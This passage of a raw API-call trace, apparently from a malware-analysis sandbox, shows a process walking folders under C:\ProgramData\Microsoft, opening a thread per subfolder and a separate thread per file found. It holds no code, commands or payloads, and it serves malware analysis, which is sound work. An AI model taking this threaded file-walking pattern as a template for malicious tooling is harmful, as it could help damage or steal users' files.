(in: _Dest=0x1cd860d0, _Source="C:\\ProgramData\\Microsoft\\Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0097.307] wcscat (in: _Dest=0x1cd860d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\" [0097.307] wcscat (in: _Dest=0x1cd860d0, _Source="Task" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task" [0097.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd860d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c [0097.308] FindNextFileW (in: hFindFile=0x1cd865b0, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0097.308] FindClose (in: hFindFile=0x1cd865b0 | out: hFindFile=0x1cd865b0) returned 1 [0097.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62540) returned 1 [0097.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86550) returned 1 [0097.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea60) returned 1 Thread: id = 180 os_tid = 0x924 [0086.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd86610 [0086.468] wcscpy (in: _Dest=0x1cd86610, _Source="C:\\ProgramData\\Microsoft\\DeviceSync" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0086.468] wcscat (in: _Dest=0x1cd86610, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync\\") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\" [0086.468] wcscat (in: _Dest=0x1cd86610, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync\\*") returned="C:\\ProgramData\\Microsoft\\DeviceSync\\*" [0086.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd627b0 [0086.468] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86670 [0086.469] wcscmp (_String1=".", _String2=".") returned 0 [0086.469] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.469] wcscmp (_String1="..", _String2=".") returned 1 [0086.469] wcscmp (_String1="..", _String2="..") returned 0 [0086.469] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.469] FindClose (in: hFindFile=0x1cd86670 | out: hFindFile=0x1cd86670) returned 1 [0086.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd627b0) returned 1 [0086.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86610) returned 1 [0086.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 Thread: id = 181 os_tid = 0xc04 [0086.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82bdb0 [0086.478] wcscpy (in: _Dest=0x1b82bdb0, _Source="C:\\ProgramData\\Microsoft\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0086.478] wcscat (in: _Dest=0x1b82bdb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\" [0086.478] wcscat (in: _Dest=0x1b82bdb0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\*") returned="C:\\ProgramData\\Microsoft\\DRM\\*" [0086.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd627b0 [0086.478] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86610 [0086.479] wcscmp (_String1=".", _String2=".") returned 0 [0086.479] FindNextFileW (in: hFindFile=0x1cd86610, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.479] wcscmp (_String1="..", _String2=".") returned 1 [0086.479] wcscmp (_String1="..", _String2="..") returned 0 [0086.479] FindNextFileW (in: hFindFile=0x1cd86610, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0086.479] wcscmp (_String1="Server", _String2=".") returned 1 [0086.479] wcscmp (_String1="Server", _String2="..") returned 1 [0086.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c7b0 [0086.479] wcscpy (in: _Dest=0x1b82c7b0, _Source="C:\\ProgramData\\Microsoft\\DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0086.479] wcscat (in: _Dest=0x1b82c7b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\") returned="C:\\ProgramData\\Microsoft\\DRM\\" [0086.479] wcscat (in: _Dest=0x1b82c7b0, _Source="Server" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM\\Server") returned="C:\\ProgramData\\Microsoft\\DRM\\Server" [0097.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914 [0097.411] FindNextFileW (in: hFindFile=0x1cd86610, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0097.411] FindClose (in: hFindFile=0x1cd86610 | out: hFindFile=0x1cd86610) returned 1 [0097.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd627b0) returned 1 [0097.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bdb0) returned 1 [0097.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd10) returned 1 Thread: id = 182 os_tid = 0xc08 [0086.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c800 [0086.480] wcscpy (in: _Dest=0x1b82c800, _Source="C:\\ProgramData\\Microsoft\\eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0086.480] wcscat (in: _Dest=0x1b82c800, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\") returned="C:\\ProgramData\\Microsoft\\eHome\\" [0086.480] wcscat (in: _Dest=0x1b82c800, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\*") returned="C:\\ProgramData\\Microsoft\\eHome\\*" [0086.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62a20 [0086.480] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86670 [0086.481] wcscmp (_String1=".", _String2=".") returned 0 [0086.481] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.481] wcscmp (_String1="..", _String2=".") returned 1 [0086.481] wcscmp (_String1="..", _String2="..") returned 0 [0086.481] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0086.481] wcscmp (_String1="logs", _String2=".") returned 1 [0086.481] wcscmp (_String1="logs", _String2="..") returned 1 [0086.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c850 [0086.481] wcscpy (in: _Dest=0x1b82c850, _Source="C:\\ProgramData\\Microsoft\\eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0086.481] wcscat (in: _Dest=0x1b82c850, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\") returned="C:\\ProgramData\\Microsoft\\eHome\\" [0086.481] wcscat (in: _Dest=0x1b82c850, _Source="logs" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs") returned="C:\\ProgramData\\Microsoft\\eHome\\logs" [0090.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0090.527] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0090.527] FindClose (in: hFindFile=0x1cd86670 | out: hFindFile=0x1cd86670) returned 1 [0090.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62a20) returned 1 [0090.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0090.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 Thread: id = 183 os_tid = 0xc0c [0086.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd866d0 [0086.482] wcscpy (in: _Dest=0x1cd866d0, _Source="C:\\ProgramData\\Microsoft\\Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0086.482] wcscat (in: _Dest=0x1cd866d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\" [0086.482] wcscat (in: _Dest=0x1cd866d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\*" [0086.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62c90 [0086.483] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86730 [0086.484] wcscmp (_String1=".", _String2=".") returned 0 [0086.484] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.484] wcscmp (_String1="..", _String2=".") returned 1 [0086.484] wcscmp (_String1="..", _String2="..") returned 0 [0086.484] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0086.484] wcscmp (_String1="Views", _String2=".") returned 1 [0086.484] wcscmp (_String1="Views", _String2="..") returned 1 [0086.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86790 [0086.484] wcscpy (in: _Dest=0x1cd86790, _Source="C:\\ProgramData\\Microsoft\\Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0086.484] wcscat (in: _Dest=0x1cd86790, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\" [0086.484] wcscat (in: _Dest=0x1cd86790, _Source="Views" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views" [0090.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0090.529] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0090.529] FindClose (in: hFindFile=0x1cd86730 | out: hFindFile=0x1cd86730) returned 1 [0090.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62c90) returned 1 [0090.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd866d0) returned 1 [0090.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858610) returned 1 Thread: id = 184 os_tid = 0xc10 [0086.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd867f0 [0086.491] wcscpy (in: _Dest=0x1cd867f0, _Source="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0086.491] wcscat (in: _Dest=0x1cd867f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\" [0086.491] wcscat (in: _Dest=0x1cd867f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL\\*") returned="C:\\ProgramData\\Microsoft\\IdentityCRL\\*" [0086.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62f00 [0086.491] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86850 [0086.491] wcscmp (_String1=".", _String2=".") returned 0 [0086.491] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.491] wcscmp (_String1="..", _String2=".") returned 1 [0086.491] wcscmp (_String1="..", _String2="..") returned 0 [0086.491] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0086.491] wcscmp (_String1="ppcrlconfig.dll", _String2=".") returned 1 [0086.491] wcscmp (_String1="ppcrlconfig.dll", _String2="..") returned 1 [0086.492] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0086.492] wcscmp (_String1="ppcrlui.dll", _String2=".") returned 1 [0086.492] wcscmp (_String1="ppcrlui.dll", _String2="..") returned 1 [0086.492] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0086.492] FindClose (in: hFindFile=0x1cd86850 | out: hFindFile=0x1cd86850) returned 1 [0086.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62f00) returned 1 [0086.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd867f0) returned 1 [0086.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858670) returned 1 Thread: id = 185 os_tid = 0xc14 [0086.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82c8a0 [0086.498] wcscpy (in: _Dest=0x1b82c8a0, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0086.498] wcscat (in: _Dest=0x1b82c8a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0086.499] wcscat (in: _Dest=0x1b82c8a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\*") returned="C:\\ProgramData\\Microsoft\\MF\\*" [0086.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62f00 [0086.499] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858670 [0086.499] wcscmp (_String1=".", _String2=".") returned 0 [0086.499] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.499] wcscmp (_String1="..", _String2=".") returned 1 [0086.499] wcscmp (_String1="..", _String2="..") returned 0 [0086.499] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0086.499] wcscmp (_String1="Active.GRL", _String2=".") returned 1 [0086.499] wcscmp (_String1="Active.GRL", _String2="..") returned 1 [0086.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd867f0 [0086.499] wcscpy (in: _Dest=0x1cd867f0, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0086.500] wcscat (in: _Dest=0x1cd867f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0086.500] wcscat (in: _Dest=0x1cd867f0, _Source="Active.GRL" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" [0090.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd867f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: 